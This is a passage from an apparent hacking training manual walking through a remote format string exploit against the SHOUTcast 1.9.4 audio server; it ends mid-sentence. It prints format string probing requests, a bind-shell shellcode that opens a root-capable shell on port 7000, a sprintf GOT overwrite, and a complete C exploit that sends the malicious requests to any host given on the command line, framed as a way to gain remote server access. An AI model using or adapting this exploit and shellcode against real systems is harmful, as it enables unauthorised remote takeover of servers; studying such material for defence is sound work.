Chapter 10

Practical examples of format string attacks

Almost every hacker has tried at one time or another to obtain remote access to a server using exploits. Unfortunately attempts to take advantage of them often end in failure. Why is this so? Is it possible that the people who wrote the exploits wanted to spite us, leaving some hidden errors in them? Occasionally this is so, but more often the exploits fail for a completely different reason. That's because each system version is slightly different and it is these minimal differences that are, in most cases, the reason an exploit fails to achieve its goal. We will now, therefore, try to write an example of a remote exploit ourselves and try to use it on different systems. This way we will obtain abilities that enable us to modify exploits ourselves so that they will work as we expect.

Choosing software to attack

An exploit is a program that increases access privileges by taking advantage of a security hole in the software. Therefore, in order to write an exploit, we have to find a program that contains an error that can be taken advantage of. The best choice would be a network program. In this way, after exploiting the error, we would obtain remote access with privileges to the server on which the program was running. If the network program works with root privileges we should obtain maximum access to the server resources.

Reading through the BugTraq discussion list, we find information about a format string error in the SHOUTcast program. This is an internet radio server. This information is all we need, and we will try to find out the rest for ourselves. So we go to the SHOUTcast website and download the vulnerable version of the program:

```
http://www.hackingschool.com/download/shoutcast-1-9-4-linux-glibc6.tar.gz
```

The application in the version we discuss is also available on Training Operating System CD in the /CD/Chapter10/Software/directory.

We unpack the server program and start it up.

```
bash-2.05b$ tar zxvf shoutcast-1-9-4-linux-glibc6.tar.gz
shoutcast-1-9-4-linux-glibc6/
shoutcast-1-9-4-linux-glibc6/README
shoutcast-1-9-4-linux-glibc6/content/
shoutcast-1-9-4-linux-glibc6/content/scpromo.mp3
shoutcast-1-9-4-linux-glibc6/sc_serv.conf
shoutcast-1-9-4-linux-glibc6/sc_serv
bash-2.05b$ cd shoutcast-1-9-4-linux-glibc6
bash-2.05b$ ./sc_serv
*************************************************************************
** SHOUTcast Distributed Network Audio Server
** Copyright (C) 1998-2004 Nullsoft, Inc.  All Rights Reserved.
** Use "sc_serv filename.ini" to specify an ini file.
*************************************************************************

Event log:
<01/02/10@17:26:18> [SHOUTcast] DNAS/Linux v1.9.4 (Mar 17 2004) starting up...
<01/02/10@17:26:18> [main] pid: 7726
<01/02/10@17:26:18> [main] loaded config from sc_serv.conf
<01/02/10@17:26:18> [main] initializing (usermax:32 portbase:8000)...
<01/02/10@17:26:18> [main] No ban file found (sc_serv.ban)
<01/02/10@17:26:18> [main] No rip file found (sc_serv.rip)
<01/02/10@17:26:18> [main] opening source socket
<01/02/10@17:26:18> [main] source thread starting
<01/02/10@17:26:18> [source] listening for connection on port 8001
<01/02/10@17:26:18> [main] opening client socket
<01/02/10@17:26:18> [main] Client Stream thread [0] starting
<01/02/10@17:26:18> [main] client main thread starting
<01/02/10@17:26:28> [sleeping] 0 listeners (0 unique)
```

Now it waits for clients to connect. It also makes the www page available on port 8000. We know that in this version of this server there is a format string error while executing the GET request. It is related to the incorrect use of text formatting functions. We can transfer a character sequence to the program and it will be added to the target format string. From the point of view of security this is a very dangerous action. Before going into greater depth on this subject it is worth having a look at the chapter on format string attacks. This will give us a better understanding of how our exploit works.

We now move to the second console and try to inject a format string into the server:

```
bash-2.05b$ telnet localhost 8000
Trying 127.0.0.1.8000...
Connected to localhost.
Escape character is '^]'.
GET /content/AAAAAA-%x-%x-%x.mp3 HTTP/1.0

ICY 404 Resource Not Found
icy-notice1:<BR>SHOUTcast Distributed Network Audio Server/Linux v1.9.4<BR>
icy-notice2:The resource requested was not found<BR>

Connection closed by foreign host.
bash-2.05b$
```

We have to put the /content/ string at the beginning of the GET request, as this is the folder where mp3 files are located by default. In some cases the server will not boot the code containing the error. Next, we give the file a name with the extension .mp3.

As we can see, it contains %x characters, which are the format tags. We will now see what happened on the console where SHOUTcast started up:

```
<01/03/05@15:01:56> [file: 127.0.0.1] ./content/AAAAAA-0-40188fb3-0.mp3
<01/03/05@15:01:56> [dest: 127.0.0.1] Invalid resource request(/content/AAAAAA-0-
40188fb3-0.mp3)
```

The server logged the attempt to refer to the file. What is interesting is its name is different from the one we entered. The formatting characters have been replaced by values lying on the stack. We will now try to use the %n tag. This should save the value of the printed characters under a specific, non-existent address, which will cause an error resulting in the server closing down.

```
bash-2.05b$ telnet localhost 8000
Trying 127.0.0.1.8000...
Connected to localhost.
Escape character is '^]'.
```

```
GET /content/AAAAAA-%x-%x-%n.mp3 HTTP/1.0

Connection closed by foreign host.
bash-2.05b$
```

We substituted the last %x tag with %n. As we can see, this time the server did not respond with a page informing about the error but immediately closed the connection. We will now see what happened on the SHOUTcast console.

```
...
<01/03/10@15:12:31> [main] Client Stream thread [0] starting
<01/03/10@15:12:31> [main] client main thread starting
Annihilated
bash-2.05b$
```

It has been closed by the system kernel due to the attempt to write into memory not available to it. As we learned in the chapter on format string attacks, after we use the right exploit we should be able to take over the server functions. Our next task will therefore be to exploit this error by starting up a remote console on the victim's computer. We will perform the following steps in sequence to obtain our goal:

- Obtain access to the transferred shellcode address
- Determine the best location for the shellcode in memory
- Find a location suitable for overwriting
- Overwrite a specific location with the shellcode address

This is the standard procedure when exploiting format string errors. As we will see, however, it won't exactly be simple.

Obtaining access to the transferred shellcode address

The first and most important problem is the lack of the program source code. Unfortunately, SHOUTcast is only available in a binary version, which can make the task more difficult. We don't really know where the error is or whether we will be able to take advantage of it. Without the source code we have to approach the program like a black box and perform many tests before we will be successful. Before we start the test, let’s restart the server, so it won’t contain any unnecessary data in memory.

The first thing we should do is to find the number of %x characters required to “dig” to the beginning of the string we transferred. Therefore, we will transfer many requests of this kind to the server:

```
GET /content/AAAAAA-%x-%x.mp3 HTTP/1.0
```

As described in the previous chapter, increasing the number of %x tags each time should, after a while, lead to one of the tags printing the value 41414141 on the screen, which corresponds to “AAAA.” We will now check to see if this happens.

We’ll start with a large number of them:

```
GET /content/AAAAAA-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-
%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-
%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-
%x-%x-%x-%x-%x-%x-%x-%x-%x.mp3 HTTP/1.0
```

We now check what has happened:

```
<01/03/10@15:30:22> [file: 127.0.0.1] ./content/AAAAAA-0-401890b5-0-0-0-0-0-0-41bafea0-
0-0-0-0-0-0-0-0-33000000-0-0-0-0-0-40181008-1-0-0-0-0-10-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-
0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-
0.mp3
<01/03/10@15:30:22> [dest: 127.0.0.1] Invalid resource request(/content/AAAAAA-0-
401890b5-0-0-0-0-0-0-41bafea0-0-0-0-0-0-0-0-0-33000000-0-0-0-0-0-40181008-1-0-0-0-0-10-
0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-
0-0-0-0-0-0-0-0-0-0-0-0-0-0-0.mp3)
```

All we have are zeros. It seems that somewhere along the way we encountered a big buffer that had been cleaned up. So we’ll try to add some more %x:

```
GET /content/AAAAAA-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-
%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-
%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-
%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-
%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-
%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-
%x-%x-%x.mp3 HTTP/1.0
```

Again we direct our attention to the console with SHOUTcast:

```
<01/03/10@15:32:56> [dest: 127.0.0.1] Invalid resource request(/content/AAAAAA-%x-%x-%x-
%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-
%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-
%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-
%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-
%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-
%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-)
```

What’s surprising is the formatting characters didn’t assume the values from the stack this time. We have just encountered the first serious problem in creating an exploit – the request cannot be too long, because the server won’t execute a code containing an error and will reject it right away. We therefore have to find another way to reach the requested data, or we won’t be able to write the shellcode address where we want to. We will now restart the server before proceeding with further tests. This time we will try to execute an attempt on two requests that depend on one another. One will contain the shellcode address (at the moment “AAAAAAAA”) and the second a large number of %x characters.

```
bash-2.05b$ telnet 127.0.0.1 8000
Trying 127.0.0.1.8000...
Connected to localhost.
Escape character is '^]'.
GET /content/AAAAAAAA.mp3 HTTP/1.0

ICY 404 Resource Not Found
icy-notice1:<BR>SHOUTcast Distributed Network Audio Server/Linux v1.9.4<BR>
icy-notice2:The resource requested was not found<BR>

Connection closed by foreign host.
```

```
bash-2.05b$ telnet 127.0.0.1 8000
Trying 127.0.0.1.8000...
Connected to localhost.
Escape character is '^]'.
GET /content/%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-
%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-
%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-
%x-%x-%x-%x-%x-%x.mp3 HTTP/1.0

ICY 404 Resource Not Found
icy-notice1:<BR>SHOUTcast Distributed Network Audio Server/Linux v1.9.4<BR>
icy-notice2:The resource requested was not found<BR>

Connection closed by foreign host.
bash-2.05b$
```

We will now check what happened:

```
<01/03/10@16:02:20> [file: 127.0.0.1] ./content/AAAAAAAA.mp3
<01/03/10@16:02:20> [dest: 127.0.0.1] Invalid resource request(/content/AAAAAAAA.mp3)
<01/03/10@16:02:25> [main] SIGWINCH; Reloaded Config File
<01/03/10@16:02:36> [file: 127.0.0.1] ./content/0-401890b5-0-0-0-0-0-0-41bafea0-0-0-0-0-
0-0-0-0-33000000-0-0-0-0-0-40181008-1-0-0-0-0-10-6f632f2e-6e65746e-41412f74-41414141-
6d2e4141-3370-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-
0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0.mp3
<01/03/10@16:02:36> [dest: 127.0.0.1] Invalid resource request(/content/0-401890b5-0-0-
0-0-0-0-41bafea0-0-0-0-0-0-0-0-0-33000000-0-0-0-0-0-40181008-1-0-0-0-0-10-6f632f2e-
6e65746e-41412f74-41414141-6d2e4141-3370-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-
0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0.mp3)
```

This time, instead of only zeros, we managed to reach the first request we sent. We can therefore assume that it serves as a buffer storing previous requests sent to the server. Now we have to count the amount of %x required to get to 41414141. This value has been printed by 34 %x characters. Instead of repeating it so many times we can theoretically use the %34$x string. Let's check if it will work:

```
GET /content/AAAAAA-%34$x.mp3 HTTP/1.0
```

We have to use some "A" characters for the transferred buffer to reach sufficiently length – otherwise the erroneous code won't be executed, which will make things more difficult. It can be neither too long nor to short.

We will now check how SHOUTcast has reacted to our request:

```
<01/03/10@16:11:43> [file: 127.0.0.1] ./content/AAAAAA-4$x.mp3
<01/03/10@16:11:43> [dest: 127.0.0.1] Invalid resource request(/content/AAAAAA-4$x.mp3)
```

As we can see, it has deleted the "%3" characters. Therefore we are not able to use the shortened version of our format string. This is a further obstacle, but one we don't have to worry about for now.

To write the full shellcode address to the memory we will have to transfer four subsequent addresses to the server in the first request. For now we will assume that they are 41414141, 42424242, 43434343, and 4444444; that is, "AAAA," "BBBB," "CCCC," and "DDDD." The first two characters following "/content" will be the two last bits intended for another %x. We will transfer them as “XX.” We therefore perform two requests in sequence, one after another:

```
GET /content/XXAAAABBBBCCCCDDDD.mp3 HTTP/1.0
```

```
GET
/content/%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x.mp3
HTTP/1.0
```

Now we look at what the server returned:

```
<01/03/10@17:11:31> [file: 127.0.0.1]
./content/040199fee000000bf3feec0000000003300000000000040192008100001 06f632f2e6e65746e585
82f7441414141424242424343434344444444.mp3
<01/03/10@17:11:31> [dest: 127.0.0.1] Invalid resource
request(/content/040199fee000000bf3feec000000000330000000000004019200810000106f632f2e6e65
746e58582f7441414141424242424343434344444444.mp3
```

As expected, we managed to print four sequential addresses in which we can write the shellcode address. As we can see, remote exploitation connected with request filtering can differ somewhat from exploiting typical local errors.

Determining the best location for the shellcode in memory

We know already that our request cannot contain certain special characters, nor can it be too long. Therefore we should choose as short a shellcode as possible. Below is the shellcode we will use in our exploit (**/CD/Chapter10/Listings/shellcode.c**):

```
char shellcode[] =  //bindshellcode (port 7000)
    "\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
    "\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
    "\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
    "\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
    "\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
    "\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
    "\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
    "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main()
{
        void (*f)() = (void*)shellcode;
        f();
        return 0;
}
```

This opens port 7000, on which it waits for the connection. After connecting it starts up the bash system shell. We will now test its function:

```
bash-2.05b$ gcc -o shellcode shellcode.c
bash-2.05b$ ./shellcode
bash-2.05b$ telnet localhost 7000
Trying 127.0.0.1.7000...
Connected to localhost.
Escape character is '^]'.
uname -a;
Linux top 2.6.27 #1 Wed Jun 16 15:55:20 CEST 2010 i686 GNU/Linux
```

We will try to obtain exactly the same effect by injecting and starting up the shellcode using SHOUTcast. The best place for it will be the first request because it is not too long. It will contain only addresses in which we will write the shellcode address as well as its own address. Our first request will therefore look like this:

```
GET /content/<four subsequent addresses><shellcode>.mp3 HTTP/1.0
```

We know already where to best place the shellcode. For now this is enough; we will worry about its address in memory later. Our main task will be to force the program to execute the jump to the address we have chosen; that is, to the shellcode.

Finding a location suitable for overwriting

There are many locations in the program memory whose overwriting can allow us to take control over its operation. Format string attacks allow us to write to the whole process memory. The best and easiest location to overwrite will be the global offset table (GOT). We can display its content using the objdump program:

```
bash-2.05b$ objdump -R sc_serv

sc_serv:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE                              VALUE
08064948 R_386_GLOB_DAT                    __gmon_start__
08064960 R_386_COPY                        stdout
08064964 R_386_COPY                        stdin
08064848 R_386_JUMP_SLOT                   usleep
```

```
080648dc R_386_JUMP_SLOT                   inet_addr
080648e0 R_386_JUMP_SLOT                   pthread_self
080648e4 R_386_JUMP_SLOT                   __libc_start_main
080648e8 R_386_JUMP_SLOT                   strcat
080648ec R_386_JUMP_SLOT                   printf
080648f8 R_386_JUMP_SLOT                   memcpy
080648fc R_386_JUMP_SLOT                   fclose
08064900 R_386_JUMP_SLOT                   isdigit
08064904 R_386_JUMP_SLOT                   gethostbyname
08064908 R_386_JUMP_SLOT                   strcasecmp
0806490c R_386_JUMP_SLOT                   exit
08064910 R_386_JUMP_SLOT                   calloc
08064914 R_386_JUMP_SLOT                   free
08064918 R_386_JUMP_SLOT                   send
0806491c R_386_JUMP_SLOT                   memset
....
0806493c R_386_JUMP_SLOT                   sprintf
08064940 R_386_JUMP_SLOT                   socket
08064944 R_386_JUMP_SLOT                   strcpy
```

We can, for example, overwrite the field of the sprintf() function. It is enough to write the address of our shellcode under the address 0806493c, and the program will execute the jump using it. We will demonstrate this using gdb, assuming that our shellcode address is “0x41414141”:

```
(gdb) bash-2.05b$ gdb sc_serv
GNU gdb 5.2.1
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "--host= --target=i686-pld-linux"...(no debugging symbols
found)...
(gdb) r
Program received signal SIG32, Real-time event 32.
0x40026964 in pthread_getconcurrency () from /lib/libpthread.so.0
(gdb) set *0x0806493c=0x41414141
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in?? ()
```

After assigning the value 0x41414141 we continued running the program. When it reached the first sprintf() call, it jumped to the address 0x41414141 instead of to the target address. We will want to do the same using the format string error.

Overwriting a specific location with the shellcode address

Slowly we are approaching the end of our struggle. This is the last and most important step. This time, we will perform the tests using a program written in C. Our first task will be to perform a jump to any address, for example 0x66666666. Our first request will appear as follows:

```
char req1[1024] = "GET /content/AA"
"\x3c\x49\x06\x08\x3d\x49\x06\x08\x3e\x49\x06\x08\x3f\x49\x06\x08";
strcat(req1, shellcode);
strcat(req1, ".mp3 HTTP/1.0\r\n\r\n");
```

At the beginning we create a table with the GOT using four sequential addresses of the sprintf() function, under which we will write the shellcode address. Next, we append our shellcode to it using strcat() and the request end character. Our second request contains, in sequence:
- An appropriate number of %x tags to reach on the stack the address of sprintf() in the GOT.
- Fill characters ("A") for the 0x66 value to be written.
- %n tags, which write the 0x66 value under four subsequent addresses thanks to which we receive the end address 0x66666666.

The second request therefore looks like this:

```
char *req2 =
"GET /content/%x%x%x%x%x%x%x%x%x"
"%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%"
"x%x%x%x%x%x%x%x%x%xAAAAAAAAAAAA"
"AAAAAAA%n%n%n%n.mp3 HTTP/1.0\r\n\r\n" ;
```

All we need to do now is put everything together and test the code (**/CD/Chapter10/Listings/exp.c**):

```
#include <stdio.h>
#include <stdlib.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

/* default SHOUTcast port */
#define PORT 8000

char shellcode[] =  //bindshellcode (port 7000)
```

```
    "\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
    "\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
    "\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
    "\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
    "\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
    "\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
    "\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
    "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main(int argc, char *argv[])
{
      int sock;
      char *host;
      struct hostent *h;
      struct sockaddr_in dest;

      char req1[1024] = "GET /content/AA"
      /* sprintf GOT addr */
      "\x3c\x49\x06\x08\x3d\x49\x06\x08\x3e\x49\x06\x08\x3f\x49\x06\x08";

      strcat(req1, shellcode);
      strcat(req1, ".mp3 HTTP/1.0\r\n\r\n");

      char *req2 =
      "GET /content/%x%x%x%x%x%x%x%x%x"
      "%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%"
      "x%x%x%x%x%x%x%x%x%xAAAAAAAAAAAA"
      "AAAAAAA%n%n%n%n.mp3 HTTP/1.0\r\n\r\n" ;

      if(argc < 2)
      {
            printf("Usage: %s <host>\n", argv[0]);
            exit(0);
      }

         host = argv[1];
        /* Downloading IP after host name*/
      if(!(h = gethostbyname(host)))
      {
            fprintf(stderr, "Cannot get IP of %s, %s!\n", host,
            strerror(errno));
            exit(-1);
      }

      sock = socket(PF_INET, SOCK_STREAM, 0);

      dest.sin_addr=*((struct in_addr*)h->h_addr);
      dest.sin_family = PF_INET;
      dest.sin_port = htons(PORT);

    if(connect(sock, (struct sockaddr*)&dest, sizeof(struct sockaddr)) == -1)
      {
            fprintf(stderr, "Cannot connect to %s, %s!\n", host,
            strerror(errno));
            exit(-1);
      }
      write(sock, req1, strlen(req1));
      close(sock);
      sock = socket(PF_INET, SOCK_STREAM, 0);

    if(connect(sock, (struct sockaddr*)&dest, sizeof(struct sockaddr)) == -1)
      {
            fprintf(stderr, "Cannot connect to %s, %s!\n", host,
            strerror(errno));
            exit(-1);
      }

      write(sock, req2, strlen(req2));
      close(sock);
      return 0;
}
```

After sending the first request, the above code immediately makes a second connection and sends the second request. Now we will start up SHOUTcast and use the exploit on the second console.

```
bash-2.05b$ ./sc_serv
*************************************************************************
** SHOUTcast Distributed Network Audio Server
** Copyright (C) 1998-2004 Nullsoft, Inc.  All Rights Reserved.
** Use "sc_serv filename.ini" to specify an ini file.
*************************************************************************
....
<01/03/10@20:29:34> [main] client main thread starting
```

We go to the second console and start up the exploit:

```
bash-2.05b$ ./exp localhost
bash-2.05b$
```

Let's have a look at what happened with the server:

```
<01/03/10@20:31:03> [file: 127.0.0.1]
./content/AA<=>?1ŔPPfÇD$Ć$ć°ÍŔ1Ŕ1Ű°ÍPjjá1Ű°fłÍĹjVPá°fłÍjUá1Ŕ1Ű°fłÍ1ŔPPUá°fłÍĹ1Ŕë1É°?Í
Aů|ö1ŔPh//shh/binăPSá°
                        Í.mp3
<01/03/10@20:31:03> [dest: 127.0.0.1] Invalid resource
request(/content/AA<=>?1ŔPPfÇD$Ć$ć°ÍŔ1Ŕ1Ű°ÍPjjá1Ű°fłÍĹjVPá°fłÍjUá1Ŕ1Ű°fłÍ1ŔPPUá°fłÍĹ1
Ŕë1É°?ÍAů|ö1ŔPh//shh/binăPSá°
                                                Í.mp3)
Terminated
```

What we are seeing on the screen is our first request. At the beginning we see two “A” fill characters; next, the GOT addresses; and then, our shellcode. A core file has been created. Let’s examine it:

```
bash-2.05b$ gdb sc_serv core.7815
GNU gdb 5.2.1
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "--host= --target=i686-pld-linux"...(no debugging symbols
found)...
Core was generated by `./sc_serv'.
Program terminated with signal 11, Segmentation fault.

warning: current_sos: Can't read pathname for load map: Input/output error
Loaded symbols for /lib/libpthread.so.0
Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x66666666 in?? ()
(gdb)
```

The program received the sigsegv signal during the jump attempt under the address 0x66666666, which we can see clearly in the log of the gdb program. We managed to force the program to operate according to our intentions. Now we have to determine the shellcode address. We will simply search for it in the program memory using gdb. Therefore we print the content of the $edi register:

```
(gdb) x/s $edi
0xbf3ff2c4:
"%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x\032", 'A' <repeats
133 times>...
```

As we can see, it contains our second request. The first one containing the shellcode must therefore be located somewhere earlier. Let’s try to print the memory 1000 bytes lower:

```
(gdb) x/s $edi-1000
0xbf3feedc:
"?I\006\b1ŔPPfÇD$\002\eXĆ\004$\002\211č°\002Í\200\205Řt\b1Ř1Ű°\001Í\200Pj\001j\002\211á
1Ű°fł\001Í\200\211Ĺj\020VP\211á°fł\002Í\200j\001U\211á1Ř1Ű°fł\004Í\2001ŔPPU\211á°fł\005
Í\200\211Ĺ1Ř\211ë1É°?Í\200A\200ů\003|ö1ŔPh//shh/bin\211ăPS\211á\231°\vÍ\200.mp3"
(gdb)
```

It seems we have managed to find it, as it resembles our first request beyond any doubt. However, we have to determine the shellcode address in detail, otherwise the exploitation of the error will not be possible. The first four bytes of our shellcode look like this:

```
"\x31\xc0\x50\x50"
```

We will now try to print the program memory for long enough that it won't assume the value 0x5050c031; in other words, from the beginning of our shellcode.

```
(gdb) x/x $edi-1000
0xbf3feedc:     0x0806493f
(gdb) x/x $edi-999
0xbf3feedd:     0x31080649
(gdb) x/x $edi-998
0xbf3feede:     0xc0310806
(gdb) x/x $edi-997
0xbf3feedf:     0x50c03108
(gdb) x/x $edi-996
0xbf3feee0:     0x5050c031
```

We have managed to reach the shellcode. Its beginning is located exactly under the address 0xbf3feee0. Knowing the address of our shellcode in the memory already, we can modify the second request in a way that it causes a jump straight to it. In this way the server, instead of ending the operation with an error, will start up the remote shell.

Attention.
Please remember that the shellcode address in our program memory can be variable and depends on many factors (including the operating system version). In case of differences, it is necessary to modify the content of the second query.

```
char *req2 =
"GET /content/%x%x%x%x%x%x%x%x%x"
"%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%"
"x%x%x%x%x%x%x%x%x%xAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAA-%n-AAAAAAAAAAAA-%n-AAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
```

```
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAA-%n-AAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAA-%n.mp3 HTTP/1.0\r\n\r\n";
```

Remembering the chapter on format string attacks, we have to change the amount of the characters printed between subsequent “%x” tags. In this way we can obtain the target address. We will now substitute the new version of the request with the old one and test our work:

```
bash-2.05b$ gcc -o exp2 exp2.c
bash-2.05b$ ./exp2
bash-2.05b$ telnet localhost 7000
Trying 127.0.0.1.7000...
Connected to localhost.
Escape character is '^]'.
uname -a;
Linux top 2.6.27 #1 Wed Jun 16 15:55:20 CEST 2010 i686 GNU/Linux
```

Everything worked as we wanted it to. We managed to exploit the remote error and to start up bindshell, which, as it turned out, was not so easy. But we now know how to determine the shellcode in memory. We can likewise modify other exploits to make them work for other systems. Different return addresses are the most frequent reason they do not work as desired.

Problems with the query length

In the example discussed above, the shellcode in the program memory may be different for other versions of the operating system. Our application has the limitation of maximum number of characters that can be entered in a single query. The upper limit of the query is 508 characters. In practice this means that the second query (req2 in our exploit code) may not exceed this limit, otherwise it will be truncated, which we proved experimentally at the beginning of this chapter.

In the current version of the Training Operating System v2.0, the shellcode address in the memory is 0xb6c5b7cc. Please perform the required calculations to create the format string.

We start with the last byte:

```
0xcc hex:                       204 dec (204 chars, to write 0xcc)
0xb7 hex: 0x1b7 - 0xcc =  235 dec (235 chars for 0xb7)
0xc5 hex: 0xc5 - 0xb7 =         14 dec  (14 chars for 0xc5)
0xb6 hex: 0x1b6 - 0xc5 =  241 dec (241 chars for 0xb6)
```

As you can see above, to save the address of our shellcode, we need 694 characters. But the application can accept only 508 characters.

To cope with this problem, we need to "smuggle" our shellcode to the other place of the program memory. We could modify our exploit to copy the shellcode to another, legitimate area of the program memory. We leave the implementation for an ambitious reader.

The Training Operating System has been also supplied with an additional example of an exploit (exp3.c), demonstrating the technique of injecting the shellcode in a byte-by-byte manner. Because of its size, the source code will not be presented in the manual. Below you can find a sample call of this application:

```
